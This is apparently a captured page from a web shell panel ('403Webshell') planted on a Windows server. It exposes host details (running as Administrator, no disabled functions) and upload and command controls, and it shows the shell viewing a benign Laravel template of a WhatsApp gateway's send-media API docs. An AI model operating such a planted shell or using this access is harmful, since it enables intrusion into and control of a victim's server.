403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /laragon4/www/wa-gateway/resources/views/pages/api-docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /laragon4/www/wa-gateway/resources/views/pages/api-docs/send-media.blade.php
  <div class="tab-pane fade  " id="sendmedia" role="tabpanel">
      <h3>Send Media API</h3>
      <p>Method : <code class="text-success">POST</code> | <code class="text-primary">GET</code></p>
      <p>Endpoint: <code>{{ env('APP_URL') }}/send-media</code></p>

      <p>Request Body : (JSON If POST)
      <table class="table">
          <thead>
              <tr>
                  <th>Parameter</th>
                  <th>Type</th>
                  <th>Required</th>
                  <th>Description</th>
              </tr>
          </thead>
          <tbody>
              <tr>
                  <td>api_key</td>
                  <td>string</td>
                  <td>Yes</td>
                  <td>API Key</td>
              </tr>
              <tr>
                  <td>sender</td>
                  <td>string</td>
                  <td>Yes</td>
                  <td>Number of your device</td>
              </tr>
              <tr>
                  <td>number</td>
                  <td>string</td>
                  <td>Yes</td>
                  <td>recipient number ex 72888xxxx|62888xxxx</td>
              </tr>
              <tr>
                  <td>media_type</td>
                  <td>string</td>
                  <td>Yes</td>
                  <td>allow : image,video,audio,document </td>
              </tr>
              <tr>
                  <td>caption</td>
                  <td>string</td>
                  <td>No</td>
                  <td>caption/message</td>
              </tr>
              <tr>
                  <td>url</td>
                  <td>string</td>
                  <td>Yes</td>
                  <td>URL of media, must direct link</td>
              </tr>

          </tbody>
      </table>

      <p>Note: Make sure the url is direct link, not a link from google drive or other cloud storage</p>
      <br>
      <p>Example JSON Request </p>
      <pre class="bg-dark text-white">
        <code>
          {
            "api_key": "1234567890",
            "sender": "62888xxxx",
            "number": "62888xxxx",
            "media_type": "image",
            "caption": "Hello World",
            "url": "https://example.com/image.jpg"
          }
        </code>

        
      </pre>
      <p>Example URL Request</p>
      <pre class="bg-dark text-white">
          <code class="json">
  {{ env('APP_URL') }}/send-media?api_key=1234567890&sender=62888xxxx&number=62888xxxx&media_type=image&caption=Hello World&url=https://example.com/image.jpg
          </code>
        </pre>
  </div>

Youez - 2016 - github.com/yon3zu
LinuXploit